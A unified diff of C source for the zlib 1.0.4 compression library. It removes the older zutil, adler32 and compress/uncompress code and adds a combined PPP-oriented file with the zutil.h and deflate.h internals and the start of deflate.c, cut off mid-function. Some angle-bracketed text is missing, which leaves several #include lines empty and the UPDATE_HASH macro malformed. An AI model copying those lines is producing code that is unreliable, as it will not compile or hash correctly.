(voidpf opaque, voidpf ptr) -{ - if (opaque) opaque = 0; /* to make compiler happy */ - _hfree(ptr); -} - -#endif /* MSC */ - - -#ifndef MY_ZCALLOC /* Any system without a special alloc function */ - -#ifndef STDC -extern voidp calloc OF((uInt items, uInt size)); -extern void free OF((voidpf ptr)); -#endif - -voidpf zcalloc(voidpf opaque, unsigned items, unsigned size) -{ - if (opaque) items += size - size; /* make compiler happy */ - return (voidpf)calloc(items, size); -} - -void zcfree(voidpf opaque, voidpf ptr) -{ - free(ptr); - if (opaque) return; /* make compiler happy */ -} - -#endif /* MY_ZCALLOC */ -/* --- zutil.c */ - -/* +++ adler32.c */ -/* adler32.c -- compute the Adler-32 checksum of a data stream - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: adler32.c,v 1.10 1996/05/22 11:52:18 me Exp $ */ - -/* #include "zlib.h" */ - -#define BASE 65521L /* largest prime smaller than 65536 */ -#define NMAX 5552 -/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */ - -#define DO1(buf,i) {s1 += buf[(i)]; s2 += s1;} -#define DO2(buf,i) DO1(buf,i); DO1(buf,(i)+1); -#define DO4(buf,i) DO2(buf,i); DO2(buf,(i)+2); -#define DO8(buf,i) DO4(buf,i); DO4(buf,(i)+4); -#define DO16(buf) DO8(buf,0); DO8(buf,8); - -/* ========================================================================= */ -uLong adler32(uLong adler, const Bytef *buf, uInt len) -{ - unsigned long s1 = adler & 0xffff; - unsigned long s2 = (adler >> 16) & 0xffff; - int k; - - if (buf == Z_NULL) return 1L; - - while (len > 0) { - k = len < NMAX ? len : NMAX; - len -= k; - while (k >= 16) { - DO16(buf); - buf += 16; - k -= 16; - } - if (k != 0) do { - s1 += *buf++; - s2 += s1; - } while (--k); - s1 %= BASE; - s2 %= BASE; - } - return (s2 << 16) | s1; -} -/* --- adler32.c */ - -// compress.c -/* =========================================================================== - Compresses the source buffer into the destination buffer. The level - parameter has the same meaning as in deflateInit. sourceLen is the byte - length of the source buffer. Upon entry, destLen is the total size of the - destination buffer, which must be at least 0.1% larger than sourceLen plus - 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. - - compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough - memory, Z_BUF_ERROR if there was not enough room in the output buffer, - Z_STREAM_ERROR if the level parameter is invalid. -*/ -int EXPORT compress2(Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level) -{ - z_stream stream; - int err; - - stream.next_in = (Bytef*)source; - stream.avail_in = (uInt)sourceLen; -#ifdef MAXSEG_64K - /* Check for source > 64K on 16-bit machine: */ - if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; -#endif - stream.next_out = dest; - stream.avail_out = (uInt)*destLen; - if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; - - stream.zalloc = (alloc_func)0; - stream.zfree = (free_func)0; - stream.opaque = (voidpf)0; - - err = deflateInit(&stream, level); - if (err != Z_OK) return err; - - err = deflate(&stream, Z_FINISH); - if (err != Z_STREAM_END) { - deflateEnd(&stream); - return err == Z_OK ? Z_BUF_ERROR : err; - } - *destLen = stream.total_out; - - err = deflateEnd(&stream); - return err; -} - -int EXPORT compress (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen) -{ - return compress2(dest, destLen, source, sourceLen, Z_DEFAULT_COMPRESSION); -} -// uncompr.c -/* =========================================================================== - Decompresses the source buffer into the destination buffer. sourceLen is - the byte length of the source buffer. Upon entry, destLen is the total - size of the destination buffer, which must be large enough to hold the - entire uncompressed data. (The size of the uncompressed data must have - been saved previously by the compressor and transmitted to the decompressor - by some mechanism outside the scope of this compression library.) - Upon exit, destLen is the actual size of the compressed buffer. - This function can be used to decompress a whole file at once if the - input file is mmap'ed. - - uncompress returns Z_OK if success, Z_MEM_ERROR if there was not - enough memory, Z_BUF_ERROR if there was not enough room in the output - buffer, or Z_DATA_ERROR if the input data was corrupted. -*/ -int EXPORT uncompress(Bytef *dest,uLongf *destLen,const Bytef *source, uLong sourceLen) -{ - z_stream stream; - int err; - - stream.next_in = (Bytef*)source; - stream.avail_in = (uInt)sourceLen; - /* Check for source > 64K on 16-bit machine: */ - if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR; - - stream.next_out = dest; - stream.avail_out = (uInt)*destLen; - if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR; - - stream.zalloc = (alloc_func)0; - stream.zfree = (free_func)0; - - err = inflateInit(&stream); - if (err != Z_OK) return err; - - err = inflate(&stream, Z_FINISH); - if (err != Z_STREAM_END) { - inflateEnd(&stream); - return err == Z_OK ? Z_BUF_ERROR : err; - } - *destLen = stream.total_out; - - err = inflateEnd(&stream); - return err; -} +/* + * This file is derived from various .h and .c files from the zlib-1.0.4 + * distribution by Jean-loup Gailly and Mark Adler, with some additions + * by Paul Mackerras to aid in implementing Deflate compression and + * decompression for PPP packets. See zlib.h for conditions of + * distribution and use. + * + * Changes that have been made include: + * - added Z_PACKET_FLUSH (see zlib.h for details) + * - added inflateIncomp and deflateOutputPending + * - allow strm->next_out to be NULL, meaning discard the output + * + */ +#include "common.h" +/* + * ==FILEVERSION 971210== + * + * This marker is used by the Linux installation script to determine + * whether an up-to-date version of this file is already installed. + */ + +#define NO_DUMMY_DECL + +#ifndef MIN +/* Macros for min/max. */ +#define MIN(a,b) (((a)<(b))?(a):(b)) +#define MAX(a,b) (((a)>(b))?(a):(b)) +#endif + +/* +++ zutil.h */ +/*- + * zutil.h -- internal interface and configuration of the compression library + * Copyright (C) 1995-1996 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* From: zutil.h,v 1.16 1996/07/24 13:41:13 me Exp $ */ + +#ifndef _Z_UTIL_H +#define _Z_UTIL_H + +#include "zlib.h" + +#ifdef _KERNEL +/* Assume this is a *BSD or SVR4 kernel */ +#include +#include +#include +#include +#include +#include +# define HAVE_MEMCPY + +#else +#if defined(__KERNEL__) +/* Assume this is a Linux kernel */ +#include +#define HAVE_MEMCPY + +#else /* not kernel */ + +#include +#include + +#ifdef STDC +# include +# include +#endif +#endif /* __KERNEL__ */ +#endif /* _KERNEL */ + +#ifndef local +# define local static +#endif +/* compile with -Dlocal if your debugger can't find static symbols */ + +typedef unsigned char uch; +typedef uch FAR uchf; +typedef unsigned short ush; +typedef ush FAR ushf; +typedef unsigned long ulg; + +static const char *z_errmsg[10]; /* indexed by 2-zlib_error */ +/* (size given to avoid silly warnings with Visual C++) */ + +#define ERR_MSG(err) z_errmsg[Z_NEED_DICT-(err)] + +#define ERR_RETURN(strm,err) \ + return (strm->msg = (const char*)ERR_MSG(err), (err)) +/* To be used only when the state is known to be valid */ + + /* common constants */ + +#ifndef DEF_WBITS +# define DEF_WBITS MAX_WBITS +#endif +/* default windowBits for decompression. MAX_WBITS is for compression only */ + +#if MAX_MEM_LEVEL >= 8 +# define DEF_MEM_LEVEL 8 +#else +# define DEF_MEM_LEVEL MAX_MEM_LEVEL +#endif +/* default memLevel */ + +#define STORED_BLOCK 0 +#define STATIC_TREES 1 +#define DYN_TREES 2 +/* The three kinds of block type */ + +#define MIN_MATCH 3 +#define MAX_MATCH 258 +/* The minimum and maximum match lengths */ + +#define PRESET_DICT 0x20 /* preset dictionary flag in zlib header */ + + /* target dependencies */ + +#ifdef MSDOS +# define OS_CODE 0x00 +# ifdef __TURBOC__ +# include +# else /* MSC or DJGPP */ +# include +# endif +#endif + +#ifdef OS2 +# define OS_CODE 0x06 +#endif + +#ifdef WIN32 /* Window 95 & Windows NT */ +# define OS_CODE 0x0b +#endif + +#if defined(VAXC) || defined(VMS) +# define OS_CODE 0x02 +# define FOPEN(name, mode) \ + fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512") +#endif + +#ifdef AMIGA +# define OS_CODE 0x01 +#endif + +#if defined(ATARI) || defined(atarist) +# define OS_CODE 0x05 +#endif + +#ifdef MACOS +# define OS_CODE 0x07 +#endif + +#ifdef __50SERIES /* Prime/PRIMOS */ +# define OS_CODE 0x0F +#endif + +#ifdef TOPS20 +# define OS_CODE 0x0a +#endif + +#if defined(_BEOS_) || defined(RISCOS) +# define fdopen(fd,mode) NULL /* No fdopen() */ +#endif + + /* Common defaults */ + +#ifndef OS_CODE +# define OS_CODE 0x03 /* assume Unix */ +#endif + +#ifndef FOPEN +# define FOPEN(name, mode) fopen((name), (mode)) +#endif + + /* functions */ + +#ifdef HAVE_STRERROR + extern char *strerror OF((int)); +# define zstrerror(errnum) strerror(errnum) +#else +# define zstrerror(errnum) "" +#endif + +#if defined(pyr) +# define NO_MEMCPY +#endif +#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(_MSC_VER) + /* Use our own functions for small and medium model with MSC <= 5.0. + * You may have to use the same strategy for Borland C (untested). + */ +# define NO_MEMCPY +#endif +#if defined(STDC) && !defined(HAVE_MEMCPY) && !defined(NO_MEMCPY) +# define HAVE_MEMCPY +#endif +#ifdef HAVE_MEMCPY +# ifdef SMALL_MEDIUM /* MSDOS small or medium model */ +# define zmemcpy _fmemcpy +# define zmemcmp _fmemcmp +# define zmemzero(dest, len) _fmemset(dest, 0, len) +# else +# define zmemcpy memcpy +# define zmemcmp memcmp +# define zmemzero(dest, len) memset(dest, 0, len) +# endif +#else + extern void zmemcpy OF((Bytef* dest, Bytef* source, uInt len)); + extern int zmemcmp OF((Bytef* s1, Bytef* s2, uInt len)); + extern void zmemzero OF((Bytef* dest, uInt len)); +#endif + +/* Diagnostic functions */ +#ifdef DEBUG_ZLIB +# include +# ifndef verbose +# define verbose 0 +# endif + extern void z_error OF((char *m)); +# define Assert(cond,msg) {if(!(cond)) z_error(msg);} +# define Trace(x) fprintf x +# define Tracev(x) {if (verbose) fprintf x ;} +# define Tracevv(x) {if (verbose>1) fprintf x ;} +# define Tracec(c,x) {if (verbose && (c)) fprintf x ;} +# define Tracecv(c,x) {if (verbose>1 && (c)) fprintf x ;} +#else +# define Assert(cond,msg) +# define Trace(x) +# define Tracev(x) +# define Tracevv(x) +# define Tracec(c,x) +# define Tracecv(c,x) +#endif + + +typedef uLong (*check_func) OF((uLong check, const Bytef *buf, uInt len)); + +voidpf zcalloc OF((voidpf opaque, unsigned items, unsigned size)); +void zcfree OF((voidpf opaque, voidpf ptr)); + +#define ZALLOC(strm, items, size) \ + (*((strm)->zalloc))((strm)->opaque, (items), (size)) +#define ZFREE(strm, addr) (*((strm)->zfree))((strm)->opaque, (voidpf)(addr)) +#define TRY_FREE(s, p) {if (p) ZFREE(s, p);} + +#endif /* _Z_UTIL_H */ +/* --- zutil.h */ + +/* +++ deflate.h */ +/* deflate.h -- internal compression state + * Copyright (C) 1995-1996 Jean-loup Gailly + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* From: deflate.h,v 1.10 1996/07/02 12:41:00 me Exp $ */ + +#ifndef _DEFLATE_H +#define _DEFLATE_H + +/* #include "zutil.h" */ + +/* =========================================================================== + * Internal compression state. + */ + +#define LENGTH_CODES 29 +/* number of length codes, not counting the special END_BLOCK code */ + +#define LITERALS 256 +/* number of literal bytes 0..255 */ + +#define L_CODES (LITERALS+1+LENGTH_CODES) +/* number of Literal or Length codes, including the END_BLOCK code */ + +#define D_CODES 30 +/* number of distance codes */ + +#define BL_CODES 19 +/* number of codes used to transfer the bit lengths */ + +#define HEAP_SIZE (2*L_CODES+1) +/* maximum heap size */ + +#define MAX_BITS 15 +/* All codes must not exceed MAX_BITS bits */ + +#define INIT_STATE 42 +#define BUSY_STATE 113 +#define FINISH_STATE 666 +/* Stream status */ + + +/* Data structure describing a single value and its code string. */ +typedef struct ct_data_s { + union { + ush freq; /* frequency count */ + ush code; /* bit string */ + } fc; + union { + ush dad; /* father node in Huffman tree */ + ush len; /* length of bit string */ + } dl; +} FAR ct_data; + +#define Freq fc.freq +#define Code fc.code +#define Dad dl.dad +#define Len dl.len + +typedef struct static_tree_desc_s static_tree_desc; + +typedef struct tree_desc_s { + ct_data *dyn_tree; /* the dynamic tree */ + int max_code; /* largest code with non zero frequency */ + static_tree_desc *stat_desc; /* the corresponding static tree */ +} FAR tree_desc; + +typedef ush Pos; +typedef Pos FAR Posf; +typedef unsigned IPos; + +/* A Pos is an index in the character window. We use short instead of int to + * save space in the various tables. IPos is used only for parameter passing. + */ + +typedef struct deflate_state { + z_streamp strm; /* pointer back to this zlib stream */ + int status; /* as the name implies */ + Bytef *pending_buf; /* output still pending */ + ulg pending_buf_size; /* size of pending_buf */ + Bytef *pending_out; /* next pending byte to output to the stream */ + int pending; /* nb of bytes in the pending buffer */ + int noheader; /* suppress zlib header and adler32 */ + Byte data_type; /* UNKNOWN, BINARY or ASCII */ + Byte method; /* STORED (for zip only) or DEFLATED */ + int last_flush; /* value of flush param for previous deflate call */ + + /* used by deflate.c: */ + + uInt w_size; /* LZ77 window size (32K by default) */ + uInt w_bits; /* log2(w_size) (8..16) */ + uInt w_mask; /* w_size - 1 */ + + Bytef *window; + /* Sliding window. Input bytes are read into the second half of the window, + * and move to the first half later to keep a dictionary of at least wSize + * bytes. With this organization, matches are limited to a distance of + * wSize-MAX_MATCH bytes, but this ensures that IO is always + * performed with a length multiple of the block size. Also, it limits + * the window size to 64K, which is quite useful on MSDOS. + * To do: use the user input buffer as sliding window. + */ + + ulg window_size; + /* Actual size of window: 2*wSize, except when the user input buffer + * is directly used as sliding window. + */ + + Posf *prev; + /* Link to older string with same hash index. To limit the size of this + * array to 64K, this link is maintained only for the last 32K strings. + * An index in this array is thus a window index modulo 32K. + */ + + Posf *head; /* Heads of the hash chains or NIL. */ + + uInt ins_h; /* hash index of string to be inserted */ + uInt hash_size; /* number of elements in hash table */ + uInt hash_bits; /* log2(hash_size) */ + uInt hash_mask; /* hash_size-1 */ + + uInt hash_shift; + /* Number of bits by which ins_h must be shifted at each input + * step. It must be such that after MIN_MATCH steps, the oldest + * byte no longer takes part in the hash key, that is: + * hash_shift * MIN_MATCH >= hash_bits + */ + + long block_start; + /* Window position at the beginning of the current output block. Gets + * negative when the window is moved backwards. + */ + + uInt match_length; /* length of best match */ + IPos prev_match; /* previous match */ + int match_available; /* set if previous match exists */ + uInt strstart; /* start of string to insert */ + uInt match_start; /* start of matching string */ + uInt lookahead; /* number of valid bytes ahead in window */ + + uInt prev_length; + /* Length of the best match at previous step. Matches not greater than this + * are discarded. This is used in the lazy match evaluation. + */ + + uInt max_chain_length; + /* To speed up deflation, hash chains are never searched beyond this + * length. A higher limit improves compression ratio but degrades the + * speed. + */ + + uInt max_lazy_match; + /* Attempt to find a better match only when the current match is strictly + * smaller than this value. This mechanism is used only for compression + * levels >= 4. + */ +# define max_insert_length max_lazy_match + /* Insert new strings in the hash table only if the match length is not + * greater than this length. This saves time but degrades compression. + * max_insert_length is used only for compression levels <= 3. + */ + + int level; /* compression level (1..9) */ + int strategy; /* favor or force Huffman coding*/ + + uInt good_match; + /* Use a faster search when the previous match is longer than this */ + + int nice_match; /* Stop searching when current match exceeds this */ + + /* used by trees.c: */ + /* Didn't use ct_data typedef below to supress compiler warning */ + struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */ + struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */ + struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */ + + struct tree_desc_s l_desc; /* desc. for literal tree */ + struct tree_desc_s d_desc; /* desc. for distance tree */ + struct tree_desc_s bl_desc; /* desc. for bit length tree */ + + ush bl_count[MAX_BITS+1]; + /* number of codes at each bit length for an optimal tree */ + + int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */ + int heap_len; /* number of elements in the heap */ + int heap_max; /* element of largest frequency */ + /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. + * The same heap array is used to build all trees. + */ + + uch depth[2*L_CODES+1]; + /* Depth of each subtree used as tie breaker for trees of equal frequency + */ + + uchf *l_buf; /* buffer for literals or lengths */ + + uInt lit_bufsize; + /* Size of match buffer for literals/lengths. There are 4 reasons for + * limiting lit_bufsize to 64K: + * - frequencies can be kept in 16 bit counters + * - if compression is not successful for the first block, all input + * data is still in the window so we can still emit a stored block even + * when input comes from standard input. (This can also be done for + * all blocks if lit_bufsize is not greater than 32K.) + * - if compression is not successful for a file smaller than 64K, we can + * even emit a stored file instead of a stored block (saving 5 bytes). + * This is applicable only for zip (not gzip or zlib). + * - creating new Huffman trees less frequently may not provide fast + * adaptation to changes in the input data statistics. (Take for + * example a binary file with poorly compressible code followed by + * a highly compressible string table.) Smaller buffer sizes give + * fast adaptation but have of course the overhead of transmitting + * trees more frequently. + * - I can't count above 4 + */ + + uInt last_lit; /* running index in l_buf */ + + ushf *d_buf; + /* Buffer for distances. To simplify the code, d_buf and l_buf have + * the same number of elements. To use different lengths, an extra flag + * array would be necessary. + */ + + ulg opt_len; /* bit length of current block with optimal trees */ + ulg static_len; /* bit length of current block with static trees */ + ulg compressed_len; /* total bit length of compressed file */ + uInt matches; /* number of string matches in current block */ + int last_eob_len; /* bit length of EOB code for last block */ + +#ifdef DEBUG_ZLIB + ulg bits_sent; /* bit length of the compressed data */ +#endif + + ush bi_buf; + /* Output buffer. bits are inserted starting at the bottom (least + * significant bits). + */ + int bi_valid; + /* Number of valid bits in bi_buf. All bits above the last valid bit + * are always zero. + */ + +} FAR deflate_state; + +/* Output a byte on the stream. + * IN assertion: there is enough room in pending_buf. + */ +#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);} + + +#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) +/* Minimum amount of lookahead, except at the end of the input file. + * See deflate.c for comments about the MIN_MATCH+1. + */ + +#define MAX_DIST(s) ((s)->w_size-MIN_LOOKAHEAD) +/* In order to simplify the code, particularly on 16 bit machines, match + * distances are limited to MAX_DIST instead of WSIZE. + */ + + /* in trees.c */ +void _tr_init OF((deflate_state *s)); +int _tr_tally OF((deflate_state *s, unsigned dist, unsigned lc)); +ulg _tr_flush_block OF((deflate_state *s, charf *buf, ulg stored_len, + int eof)); +void _tr_align OF((deflate_state *s)); +void _tr_stored_block OF((deflate_state *s, charf *buf, ulg stored_len, + int eof)); +void _tr_stored_type_only OF((deflate_state *)); + +#endif +/* --- deflate.h */ + +/* +++ deflate.c */ +/* deflate.c -- compress data using the deflation algorithm + * Copyright (C) 1995-1996 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* + * ALGORITHM + * + * The "deflation" process depends on being able to identify portions + * of the input text which are identical to earlier input (within a + * sliding window trailing behind the input currently being processed). + * + * The most straightforward technique turns out to be the fastest for + * most input files: try all possible matches and select the longest. + * The key feature of this algorithm is that insertions into the string + * dictionary are very simple and thus fast, and deletions are avoided + * completely. Insertions are performed at each input character, whereas + * string matches are performed only when the previous match ends. So it + * is preferable to spend more time in matches to allow very fast string + * insertions and avoid deletions. The matching algorithm for small + * strings is inspired from that of Rabin & Karp. A brute force approach + * is used to find longer strings when a small match has been found. + * A similar algorithm is used in comic (by Jan-Mark Wams) and freeze + * (by Leonid Broukhis). + * A previous version of this file used a more sophisticated algorithm + * (by Fiala and Greene) which is guaranteed to run in linear amortized + * time, but has a larger average cost, uses more memory and is patented. + * However the F&G algorithm may be faster for some highly redundant + * files if the parameter max_chain_length (described below) is too large. + * + * ACKNOWLEDGEMENTS + * + * The idea of lazy evaluation of matches is due to Jan-Mark Wams, and + * I found it in 'freeze' written by Leonid Broukhis. + * Thanks to many people for bug reports and testing. + * + * REFERENCES + * + * Deutsch, L.P.,"DEFLATE Compressed Data Format Specification". + * Available in ftp://ds.internic.net/rfc/rfc1951.txt + * + * A description of the Rabin and Karp algorithm is given in the book + * "Algorithms" by R. Sedgewick, Addison-Wesley, p252. + * + * Fiala,E.R., and Greene,D.H. + * Data Compression with Finite Windows, Comm.ACM, 32,4 (1989) 490-595 + * + */ + +/* From: deflate.c,v 1.15 1996/07/24 13:40:58 me Exp $ */ + +/* #include "deflate.h" */ + +char deflate_copyright[] = " deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly "; +/* + If you use the zlib library in a product, an acknowledgment is welcome + in the documentation of your product. If for some reason you cannot + include such an acknowledgment, I would appreciate that you keep this + copyright string in the executable of your product. + */ + +/* =========================================================================== + * Function prototypes. + */ +typedef enum { + need_more, /* block not completed, need more input or more output */ + block_done, /* block flush performed */ + finish_started, /* finish started, need only more output at next deflate */ + finish_done /* finish done, accept no more input or output */ +} block_state; + +typedef block_state (*compress_func) OF((deflate_state *s, int flush)); +/* Compression function. Returns the block state after the call. */ + +local void fill_window OF((deflate_state *s)); +local block_state deflate_stored OF((deflate_state *s, int flush)); +local block_state deflate_fast OF((deflate_state *s, int flush)); +local block_state deflate_slow OF((deflate_state *s, int flush)); +local void lm_init OF((deflate_state *s)); +local void putShortMSB OF((deflate_state *s, uInt b)); +local void flush_pending OF((z_streamp strm)); +local int read_buf OF((z_streamp strm, charf *buf, unsigned size)); +#ifdef ASMV + void match_init OF((void)); /* asm code initialization */ + uInt longest_match OF((deflate_state *s, IPos cur_match)); +#else +local uInt longest_match OF((deflate_state *s, IPos cur_match)); +#endif + +#ifdef DEBUG_ZLIB +local void check_match OF((deflate_state *s, IPos start, IPos match, + int length)); +#endif + +/* =========================================================================== + * Local data + */ + +#define NIL 0 +/* Tail of hash chains */ + +#ifndef TOO_FAR +# define TOO_FAR 4096 +#endif +/* Matches of length 3 are discarded if their distance exceeds TOO_FAR */ + +#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) +/* Minimum amount of lookahead, except at the end of the input file. + * See deflate.c for comments about the MIN_MATCH+1. + */ + +/* Values for max_lazy_match, good_match and max_chain_length, depending on + * the desired pack level (0..9). The values given below have been tuned to + * exclude worst case performance for pathological files. Better values may be + * found for specific files. + */ +typedef struct config_s { + ush good_length; /* reduce lazy search above this match length */ + ush max_lazy; /* do not perform lazy search above this match length */ + ush nice_length; /* quit search above this match length */ + ush max_chain; + compress_func func; +} config; + +local config configuration_table[10] = { +/* good lazy nice chain */ +/* 0 */ {0, 0, 0, 0, deflate_stored}, /* store only */ +/* 1 */ {4, 4, 8, 4, deflate_fast}, /* maximum speed, no lazy matches */ +/* 2 */ {4, 5, 16, 8, deflate_fast}, +/* 3 */ {4, 6, 32, 32, deflate_fast}, + +/* 4 */ {4, 4, 16, 16, deflate_slow}, /* lazy matches */ +/* 5 */ {8, 16, 32, 32, deflate_slow}, +/* 6 */ {8, 16, 128, 128, deflate_slow}, +/* 7 */ {8, 32, 128, 256, deflate_slow}, +/* 8 */ {32, 128, 258, 1024, deflate_slow}, +/* 9 */ {32, 258, 258, 4096, deflate_slow}}; /* maximum compression */ + +/* Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4 + * For deflate_fast() (levels <= 3) good is ignored and lazy has a different + * meaning. + */ + +#define EQUAL 0 +/* result of memcmp for equal strings */ + +#ifndef NO_DUMMY_DECL +struct static_tree_desc_s {int dummy;}; /* for buggy compilers */ +#endif + +/* =========================================================================== + * Update a hash value with the given input byte + * IN assertion: all calls to to UPDATE_HASH are made with consecutive + * input characters, so that a running hash key can be computed from the + * previous key instead of complete recalculation each time. + */ +#define UPDATE_HASH(s,h,c) (h = (((h)<hash_shift) ^ (c)) & s->hash_mask) + + +/* =========================================================================== + * Insert string str in the dictionary and set match_head to the previous head + * of the hash chain (the most recent string with same hash key). Return + * the previous length of the hash chain. + * IN assertion: all calls to to INSERT_STRING are made with consecutive + * input characters and the first MIN_MATCH bytes of str are valid + * (except for the last MIN_MATCH-1 bytes of the input file). + */ +#define INSERT_STRING(s, str, match_head) \ + (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \ + s->prev[(str) & s->w_mask] = match_head = s->head[s->ins_h], \ + s->head[s->ins_h] = (Pos)(str)) + +/* =========================================================================== + * Initialize the hash table (avoiding 64K overflow for 16 bit systems). + * prev[] will be initialized on the fly. + */ +#define CLEAR_HASH(s) \ + s->head[s->hash_size-1] = NIL; \ + zmemzero((charf *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head)); + +/* ========================================================================= */ +int deflateInit_(strm, level, version, stream_size) + z_streamp strm; + int level; + const char *version; + int stream_size; +{ + return deflateInit2_(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, + Z_DEFAULT_STRATEGY, version, stream_size); + /* To do: ignore strm->next_in if we use it as window */ +} + +/* ========================================================================= */ +int deflateInit2_(z_streamp strm, int level, int method, int windowBits, + int memLevel, int strategy, const char *version, int stream_size) +{ + deflate_state *s; + int noheader = 0; + static char* my_version = ZLIB_VERSION; + + ushf *overlay; + /* We overlay pending_buf and d_buf+l_buf. This works since the average + * output size for (length,distance) codes is <= 24 bits. + */ + + if (version == Z_NULL || version[0] != my_version[0] || + stream_size != sizeof(z_stream)) { + return Z_VERSION_ERROR; + } + if (strm == Z_NULL) return Z_STREAM_ERROR; + + strm->msg = Z_NULL; +#ifndef NO_ZCFUNCS + if (strm->zalloc == Z_NULL) { + strm->zalloc = zcalloc; + strm->opaque = (voidpf)0; + } + if (strm->zfree == Z_NULL) strm->zfree = zcfree; +#endif + + if (level == Z_DEFAULT_COMPRESSION) level = 6; + + if (windowBits < 0) { /* undocumented feature: suppress zlib header */ + noheader = 1; + windowBits = -windowBits; + } + if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || + windowBits < 9 || windowBits > 15 || level < 0 || level > 9 || + strategy < 0 || strategy > Z_HUFFMAN_ONLY) { + return Z_STREAM_ERROR; + } + s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state)); + if (s == Z_NULL) return Z_MEM_ERROR; + strm->state = (struct internal_state FAR *)s; + s->strm = strm; + + s->noheader = noheader; + s->w_bits = windowBits; + s->w_size = 1 << s->w_bits; + s->w_mask = s->w_size - 1; + + s->hash_bits = memLevel + 7; + s->hash_size = 1 << s->hash_bits; + s->hash_mask = s->hash_size - 1; + s->hash_shift = ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH); + + s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte)); + s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos)); + s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos)); + + s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ + + overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); + s->pending_buf = (uchf *) overlay; + s->pending_buf_size = (ulg)s->lit_bufsize * (sizeof(ush)+2L); + + if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL || + s->pending_buf == Z_NULL) { + strm->msg = (const char*)ERR_MSG(Z_MEM_ERROR); + deflateEnd (strm); + return Z_MEM_ERROR; + } + s->d_buf = overlay + s->lit_bufsize/sizeof(ush); + s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize; + + s->level = level; + s->strategy = strategy; + s->method = (Byte)method; + + return deflateReset(strm); +} + +/* ========================================================================= */ +int deflateSetDictionary(z_streamp strm, const Bytef *dictionary, uInt dictLength) +{ + deflate_state *s; + uInt length = dictLength; + uInt n; + IPos hash_head = 0; + + if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL) + return Z_STREAM_ERROR; + + s = (deflate_state *) strm->state; + if (s->status != INIT_STATE) return Z_STREAM_ERROR; + + strm->adler = adler32(strm->adler, dictionary, dictLength); + + if (length < MIN_MATCH) return Z_OK; + if (length > MAX_DIST(s)) { + length = MAX_DIST(s); +#ifndef USE_DICT_HEAD + dictionary += dictLength - length; /* use the tail of the dictionary */ +#endif + } + zmemcpy((charf *)s->window, dictionary, length); + s->strstart = length; + s->block_start = (long)length; + + /* Insert all strings in the hash table (except for the last two bytes). + * s->lookahead stays null, so s->ins_h will be recomputed at the next + * call of fill_window. + */ + s->ins_h = s->window[0]; + UPDATE_HASH(s, s->ins_h, s->window[1]); + for (n = 0; n <= length - MIN_MATCH; n++) { + INSERT_STRING(s, n, hash_head); + } + if (hash_head) hash_head = 0; /* to make compiler happy */ + return Z_OK; +} + +/* ========================================================================= */ +int deflateReset(z_streamp strm) +{ + deflate_state *s; + + if (strm == Z_NULL || strm->state == Z_NULL || + strm->zalloc == Z_NULL || strm->zfree == Z_NULL) return Z_STREAM_ERROR; + + strm->total_in = strm->total_out = 0; + strm->msg = Z_NULL; /* use zfree if we ever allocate msg dynamically */ + strm->data_type = Z_UNKNOWN; + + s = (deflate_state *)strm->state; + s->pending = 0; + s->pending_out = s->pending_buf; + + if (s->noheader < 0) { + s->noheader = 0; /* was set to -1 by deflate(..., Z_FINISH); */ + } + s->status = s->noheader ? BUSY_STATE : INIT_STATE; + strm->adler = 1; + s->last_flush = Z_NO_FLUSH; + + _tr_init(s); + lm_init(s); + + return Z_OK; +} + +/* ========================================================================= */ +int deflateParams(z_streamp strm, int level, int strategy) +{ + deflate_state *s; + compress_func func; + int err = Z_OK; + + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; + s = (deflate_state *) strm->state; + + if (level == Z_DEFAULT_COMPRESSION) { + level = 6; + } + if (level < 0 || level > 9 || strategy < 0 || strategy > Z_HUFFMAN_ONLY) { + return Z_STREAM_ERROR; + } + func = configuration_table[s->level].func; + + if (func != configuration_table[level].func && strm->total_in != 0) { + /* Flush the last buffer: */ + err = deflate(strm, 